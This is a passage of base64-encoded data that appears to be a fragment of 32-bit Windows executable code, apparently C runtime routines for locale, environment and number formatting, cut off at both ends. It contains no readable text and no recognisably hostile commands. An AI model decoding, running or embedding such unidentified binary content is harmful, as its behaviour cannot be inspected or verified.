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1BsZGCADrC1bo1kUAAFnGRggBi8Zew4v/VYvsgexkCQAAoRTADBAzxYlF/FOLXRiNjWz4//9WV4t9FIm9gPj//4mdhPj//+ih////i3UMM8CLzoHhAAAAgAvBsC11AgTzD77Ai86JB4HhAADwfzPAiV8IC8GLfQh1IovOi8eB4f//DwALwXUUi4WA+P//aAiHCBCDYAQA6dMSAACNRQhQ6BKk//9ZhcB0DYuNgPj//8dBBAEAAACD6AEPhKoSAACD6AEPhJoSAACD6AEPhIoSAACD6AEPhHoSAACLRRCB5v///3+DpXz4//8AQIl9CIl1DN1FCN2VmPj//4u9nPj//4vPiYWI+P//wekUi8El/wcAAIPIAHUGsgEz9usJMtK+AAAQADPAi52Y+P//gef//w8AA9gT/jPAhNIPlcCB4f8HAABAjbHM+///A/CJtbT4///oJEUAAFFR3Rwk6CpGAABZWeijawAAiYWU+P//Pf///390Bz0AAACAdQgzwImFlPj//4mdMP7//zPbhf+JvTT+//8PlcNDiZ0s/v//hfYPiO0DAACDpZD6//8AagJex4WU+v//AAAQAIm1jPr//zveD4UAAgAAM8mLhA2Q+v//O4QNMP7//w+F6gEAAIPBBIP5CHXki4W0+P//M9KDwAKL8IPgH2ogWSvIiYWk+P//M8DB7gVAibWw+P//iY2Q+P//6GNoAACDpZz4//8ASA+9z4mFqPj///fQiYWM+P//dANB6wIzyWogWCvBjVYCOYWk+P//iZWs+P//D5fAg/pziIW7+P//D5fBg/pzdQiEwHQEsAHrAjLAhMkPhe8AAACEwA+F5wAAAGpyWTvRcgiL0YmNrPj//4vKiY2g+P//g/r/D4SWAAAAi/KNhTD+//+LlbD4//8r8o0EsImFtPj//zvKcm0783MEizjrAjP/jUb/O8NzC4uFtPj//4tA/OsCM8AjhYz4//8jvaj4//+LjZD4///T6IuNpPj//9Pni42g+P//C8eJhI0w/v//SYuFtPj//06D6ASJjaD4//+JhbT4//+D+f90CIudLP7//+uPi5Ws+P//i7Ww+P//hfZ0DIvOjb0w/v//M8Dzq4C9u/j//wC7zAEAAHQLjUIBiYUs/v//6zOJlSz+///rKzPAu8wBAABQiYWM+v//iYUs/v//jYWQ+v//UI2FMP7//1NQ6Bxw//+DxBCDpZT6//8AM8lqBFhBiYWQ+v//iY2M+v//iY1c/P//UI2FkPr//1CNhWD8//9TUOjlb///g8QQ6VwEAACLhbT4//8z0kCL+IPgH2ogWSvIiYWw+P//M8DB7wVAib20+P//iY2Q+P//6INmAACLjJ0s/v//SIOlnPj//wAPvcmJhaj4///30ImFjPj//3QDQesCM8lqIFgrwY0UOzmFsPj//4mVoPj//w+XwIP6c4iFu/j//w+XwYP6c3UIhMB0BLAB6wIywITJD4XsAAAAhMAPheQAAABqclk70XIIi9GJjaD4//+LwomFrPj//4P6/w+EkwAAAIvyjY0w/v//i5W0+P//K/KNDLGJjaT4//87wnJnO/NzBIs56wIz/41G/zvDcwWLQfzrAjPAI72o+P//I4WM+P//i42w